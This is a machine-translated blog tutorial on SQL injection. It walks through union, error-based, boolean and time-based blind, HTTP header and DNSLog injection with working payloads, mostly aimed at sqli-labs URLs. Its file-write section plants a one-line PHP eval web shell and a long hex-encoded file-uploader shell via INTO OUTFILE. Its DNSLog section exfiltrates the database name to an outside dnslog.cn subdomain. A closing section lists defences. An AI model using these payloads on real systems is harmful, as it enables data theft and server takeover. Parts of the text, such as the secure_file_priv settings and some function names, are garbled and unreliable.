Detailed explanation of SQL injection (the most complete in the whole network, 10,000-character long text)

Vulnerability reason

Some concepts:

SQL: A standard data query language used in databases.

The web is divided into front-end and back-end. The front-end is responsible for displaying, and the back-end is responsible for processing requests from the front-end and providing resources for front-end display.

The database is where resources are stored.

The method for the server to obtain data is to use SQL statements to query and obtain.

SQL injection: The so-called sql injection is an attack method in which malicious sql code is added to the input parameters in some way, and then passed to the sql server for parsing and execution

SQL can be divided into platform layer injection and code layer injection .

Platform layer injection: caused by insecure database configuration or database platform vulnerabilities.

Code layer injection: Programmers do not carefully filter the input, thus executing illegal data queries.

Reason: In the interaction of front-end and back-end data, when the front-end data is transmitted to the background for processing, no strict judgment is made, which causes the incoming data to be spliced ​​into the SQL statement and executed as part of the SQL statement, resulting in damage to the database , the information is lost.

Summary version: The background server receives relevant parameters and directly brings them into the database query without filtering.

example:

For example, this is a front-end URL: https://blog.csdn.net/aboutus.php?id=1 and
its background SQL statement: $sql="SELECT 123 FROM abc WHERE id='1'"

This statement uses splicing to query the content of the database, and does not filter the content entered by the user at the front end, and the user can control the parameter id. Originally, the programmer designed this query statement to hope to use it to Quickly query a certain content of the abc table in the database and echo it to the front-end page, but the attacker closes the database query statement with single quotes ' , and can construct such a malicious URL: https://blog.csdn.net/aboutus .php?id=-1 ' select password from admin#To query the password of the admin user, instead of querying the data content designed by the programmer in advance.

Among them: in url? Represents the meaning of value passing, id represents the variable, and the equal sign represents the value of the variable.

Browsers usually use ? to indicate that the GET method is used to pass parameters, and the parameters passed by POST will not be displayed in the URL , so the URL contains ? The description is to use the GET method to pass parameters. POST injection and cookie injection require plug-ins and tools.

process

Common injection methods:

Classification of parameter types:

numeric, character

Classification of injection methods:

Joint query injection, error injection, Boolean-based blind injection, time-based blind injection, HTTP header injection, wide byte injection, stack query, second-order injection.

Numeric:

When the input parameter is an integer, if there is an injection vulnerability, it is a digital injection.

Such as: https://blog.csdn.net/aboutus.php?id=1

At this time, the background statement: $sql="SELECT 123 FROM abc WHERE id='1'"

Detection method: URL input and 1=1 / and 1=2 If an error is reported, it means that there is injection

character type

When the input parameter is a string, it is called character injection.

The difference between it and the numeric type: the numeric type does not need single quotation marks to close, while the string needs single quotation marks to close.

Example: https://blog.csdn.net/aboutus.php?id=1'

At this time, the background statement: $sql="SELECT 123 FROM abc WHERE id='1 ' ' "

At this time, a single quotation mark is added, which destroys the original SQL statement structure, and the database cannot handle it, so an error will be reported, which proves that this statement has been successfully brought into the database query, and there is character injection.

At this time, use --+ to comment out the following single quotation marks, and the SQL statement will also form a closure.

So we can do this:

?id = 1' attack statement --+

The incoming page becomes

select user from database where id = '1' attack statement – ​​'

–+: It acts as a comment, commenting out the following statement, + is equivalent to a space in the url, – is a comment symbol, a single-line comment, the reason for adding a + sign is because – cannot be used as a comment when combined with single quotation marks, so they must be separated

federated query injection

The joint query is suitable for injection with display bits, that is, a certain position on the page will change according to the change of the data we input.

  • page observation

Enter id=1 and id=2, if the value in the page changes, it means that the input interacts with the database

  • Injection point judgment

Directly input ?id=1', if there is an error, there is an injection, and start to judge where it can be injected. The ?id=2'1=2–+ page is displayed abnormally, indicating that there is SQL injection here, and the injection point is in quotation marks.

Next, start using SQL statements to attack.

  • Use order by to determine the number of fields in the current table

Example: ?id=1 order by n --+

If n exceeds the number of columns in the current table, an error will be reported, indicating that there are only n-1 columns in the table

  • Judgment display bit

When judging the display position, use ?id=-1 or change it to 0 to make the previous select statement query empty, and then use the following select statement to query:

?id=-1’ union select 1,2,3 --+

Observe where the page echoes our input, and we can use that place to test the next statement.

  • Explosion database name

?id=1’ union select 1,database(),3 --+

The name of the database database will be echoed at the place where 2 was echoed before.

  • Explode the tables in the database

?id=1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

The database statement is too lazy to explain.

  • Explode the fields in the table

?id=1' union select 1,group_concat(column_name),3 from information_schema.column where table_schema='exploded database name' and table_name='exploded table name' --+

  • Explode all data in the corresponding field

?id=-1’ union select 1,group_concat(id,’–‘,username,’–',password),3 from users --+

Error injection

Meaning: It is to use the specified function in mysql to make an error report. When querying, add some information in the wrong format, it will prompt you that the format is wrong, you can add some other information in the middle, such as select database(), and the error message will appear after the error message database information.

Error injection: Use the error information of the database to get the content of the database. Therefore, it is necessary to construct a statement to make the database report an error.

Three methods of error injection:

  • group by repeat
and (select 1 from (select count(*),concat((select 查询的内容 from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.table group by x)a) --+
  • extractvalue() function
?id=1' and extractvalue(1,concat('^',(select database()),'^')) --+//获取数据库名字

extractvalue(xml_frag,xpath_expr);

The function accepts two parameters, the first is the XML markup content, that is, the query content, and the second is the XPATH path, that is, the query path.

If there is no match, for whatever reason, as long as the path is valid and the queried content consists of properly nested and closed elements, return an empty string.

But if the path is written in the wrong format, an error will be reported and the illegal content we wrote will be returned.

  • updatexml() function
?id=1' and updatexml(1,conncat('^',(需要查询的内容),'^')1) --+

updatexml(xml_target,xpath_expr,new_xml);

This function replaces a single part of the given fragment of XML markup with the xml_target new XML fragment new_xml and returns the changed XML.

The part replaced by xml_target matches the XPath expression provided by the xpath_expr user. If no expression match is found for xpath_expr, or if multiple matches are found, the function returns the original xml_targetXML fragment.

All three arguments should be strings. Similar to extractvalue(), if XPATH is written in the wrong format, an error will be reported and the illegal content we wrote will be returned.

  • floor() function

floor(x), returns the largest integer less than or equal to x.

echo injection

Echo injection: The data returned by the page can be changed by using the injection vulnerability.

Boolean-based blind injection

Boolean Blind Note: That is, no data is displayed on the page, only true or false is displayed. At this time, the statement we input makes the page present two states, which are equivalent to true and false. According to these two states, we can judge whether the query we entered is successful.

Therefore, it is necessary to construct a judgment statement to confirm the conjecture according to whether the page is echoed.

Commonly used functions:

ascii()、 substr()、length()、exists()、concat()等。

**substr(strings|express,m,[n])** function:

strings|express : the intercepted string or string expression

m Intercept from the mth character

n The length of the string after interception is n

concat() function: The concat() method is used to concatenate two or more arrays. Used for output in the page.

step:

  • Determine the database type

Possible types of databases:

MySQL、 access、 SQL sever 、information_schema.tables、msysobjects、sysobjects

  • Determine the database name (database name length, each ASCII value)
  • Determine the table name in the library (the number of tables, the length of each table name and the ASCII of the table name)
//猜测当前数据库中是否存在admin表
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin) --+
1:判断当前数据库中表的个数
// 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+
 
2:判断每个表的长度
//判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+
//判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6 --+
 
3:判断每个表的每个字符的ascii值
//判断第一个表的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+
//判断第一个表的第二个字符的ascii值               
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 --+
.........
由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断
  • Determine the field names in the table (the number of fields, the length of each field name, and the ASCII value of the field name)
  • Burst the data in the field (data length in the field, ASCII of the data)
1: 判断数据的长度
// 判断id字段的第一个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5 --+
// 判断id字段的第二个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>5 --+
 
2:判断数据的ascii值
// 判断id字段的第一行数据的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit  0,1),1,1))>100 --+
// 判断id字段的第二行数据的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100 --+
...........

Time-Based Blinds

Time injection: Judging by the length of the return time.

For example: Get the ascii code of the first character, judge whether it is greater than 115, and return after five seconds if it is not true.

Replenish:

sleep(5) means to delay for five seconds.

if(expr1, expr2, expr3) returns the value of expr2 if the value of expr1 is true, and returns the value of expr3 if the value of expr1 is false.

example:

?id=1' and if(ascii(substr(database(),2,1))= 101,sleep(5),0) --+

Here is to judge the second letter of the database name.

Usage is similar to Boolean blind injection.

HTTP header injection

Common SQL injection is usually injected through request parameters or forms, while HTTP header injection is injected through HTTP protocol header field values.

img

condition:

  1. Ability to modify request header information
  2. The modified request header information can be brought into the database for query
  3. The database does not filter the input request information
  • user-agent injection
  • cookie injection
  • Referer injection
  • X-Forwarded-For injection
  • wide byte injection

DNSLog injection

Prerequisite knowledge:

  1. What is dnslog?

The dns service is mainly that when the domain name resolution server converts the domain name into ip, it will generate a log, which mainly records: when to request resolution, what domain name, and what ip is mapped;

But generally speaking, you can’t see the parsing log, but there is an open platform: dnslog.cn

  1. UNC:

UNC full name: universal naming convention, universal naming rules. In fact, it is the format of resources on the network, which is used in Windows.

  1. mysql read and write functions:

    (mysql can read and write files.)

  2. Configuration:

There are three configuration values ​​for secure_file_priv——

Specified folder: read-write import and export can only occur in the specified folder

Not set: Do not allow execution

null: unlimited

  1. Read file process:

Read file: LOAD_FILE()

Restrictions: Only local files and files with read permission, and the number of bytes is less than max_allowed_packet

判断文件有无读取权限:
and (select count(*) from mysql.user)>0 /*如果结果返回正常,说明具有读写权限
如果返回错误,应该是管理员给数据库账户降权。
如果文件不存在或者不能被读出,函数返回空。在 windows 下,如果 NTFS 设置得当,是不能读取相关的文件的,当遇到只有administrators 才能访问的文件,users 就别想 load_file 出来。

用法:select LOAD_FILE(‘E:\in.txt’);

Two difficulties:

  1. absolute physical path
  2. Construct a valid malformed statement (absolute path is reported as an error)

In many PHP programs, when submitting a wrong Query, if display_errors = on, the program will be exposed

The absolute path of the WEB directory, as long as the path is known, then for a PHP program that can be injected, the entire service

The security of the device will be seriously threatened.

Common path: http://www.cnblogs.com/lcamry/p/5729087.html

Read example:

image-20221016172321397

  1. Import the file into the database:

The LOAD DATA INFILE statement is used to read rows from a text file into a table at high speed. The file name must be a literal string.

Example:

load data infile '/temp/t0.txt' ignore into table t0 character set gbk fields terminated by '\t' lines terminated by '\n'

Meaning: import /tmp/t0.txt into the t0 table, character set gbk is the character set is set to gbk, fields terminated by is

The separator between each item of data, lines terminated by is the end of the line.

Note: When the error code is 2, the file does not exist, and when the error code is 13, there is no permission, you can consider

/tmp and other folders.

  1. import to file

Format: SELECT … INTO OUTFILE 'file_name'

The selected lines can be written to a file. The file is created onto the server host, so you must have FILE

permission to use this syntax. file_name cannot be an existing file.

Two forms of utilization:

  • Import the select content directly into the file
select ... into outfile "c:\\phpnow\\htdocs\\test.php"
/*此处的...可以是一个函数如version()也可以是一句话如:<?php @eval($_post["111"]) ?>,或者其他内容
  • Modify the end of the file
select version() into outfile "c:\\phpnow\\htdocs\\test.php" LINES TERMINATED BY 0x16

Explanation: select * from * limit 0,1 into outfile '/wamp/www/tmpulujm.php' means to input the content into outfile.
LINES TERMINATED BY is the parameter of into outfile, which means that the content after by is used at the end of the line, usually '/r/n', here we modify the content after by to the following hexadecimal file . Hexadecimal can be a sentence or any other code, and can be constructed by itself.

For example:

http://192.168.0.166/php/newsshow.php?cid=-6901 OR 3616%3D3616 LIMIT 0%2C1 INTO OUTFILE '%2Fwamp%2Fwww%2Ftmpulujm.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d5c5c77616d705c5c7777775c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- -- -

In sqlmap, os-shell adopts such a method. For details, please refer to the os-shell analysis article: http://www.cnblogs.com/lcamry/p/5505110.html

DNSlog injection:

Injection process:

  1. Inject select LOAD_FILE() into the database access log file
  2. UNC constructs the DNS server address (actually the server subdomain name), pretends to access files, and generates DNSLog
select load_file('aaa.yourid.dnslog.cn/byh');四个斜杠其实本来只有两个,还有两个是防止转义,/byh不能缺少,不然不是一个标准的路径
  1. Replace the subdomain name with a function or query SQL
select if((select load_file(concat('',database(),'yourid.dnslog.cn/byh'))),1,0);#其实就是把aaa换成了database()

Finally, the platform we use will display the parsing log, and the query content can be seen in the log.

harm

  • Database information leakage: user privacy information leakage
  • Web page tampering: tampering with web pages by manipulating databases
  • The website is linked to horses and spreads malware: modify the value of some fields in the database, embed links to Internet horses, and carry out attacks by hanging horses
  • The database is maliciously operated: the database server is attacked, and the system administrator account of the database is tampered with
  • The server is remotely controlled and the backdoor is installed: the operating system support provided by the database server allows hackers to modify or control the operating system
  • Destroy hard disk data and paralyze the whole system

guard against

SQL vulnerability repair and prevention methods:

1. The permissions of ordinary users and system administrators must be strictly distinguished

2. Precompile, such as using parameterized statements and bind variables.

3. Strengthen the verification of user input, identify malicious content, and filter out certain dangerous sentences.

4. Use the security parameters that come with the SQL Server database.

5. Escaping, treating user input as text and escaping with slashes

6. Database exception information hiding

6. If necessary, use professional vulnerability scanning tools to find points that may be attacked.

7. Set trap account:

Set up two accounts, one is an ordinary administrator account, and the other is an anti-injection account. Set the anti-injection account to look like an administrator, such as admin, to attract software detection by creating a false appearance, and the password is more than a thousand Chinese characters, forcing the software to enter a full-load state when analyzing the account, or even crash due to resource exhaustion .

8. Firewall, limit the same IP time, ban IP access, blacklist

9. Encrypt information such as passwords

10. Disable some parameters, such as secure file priv

Guess you like

Origin blog.csdn.net/m0_56691564/article/details/127474864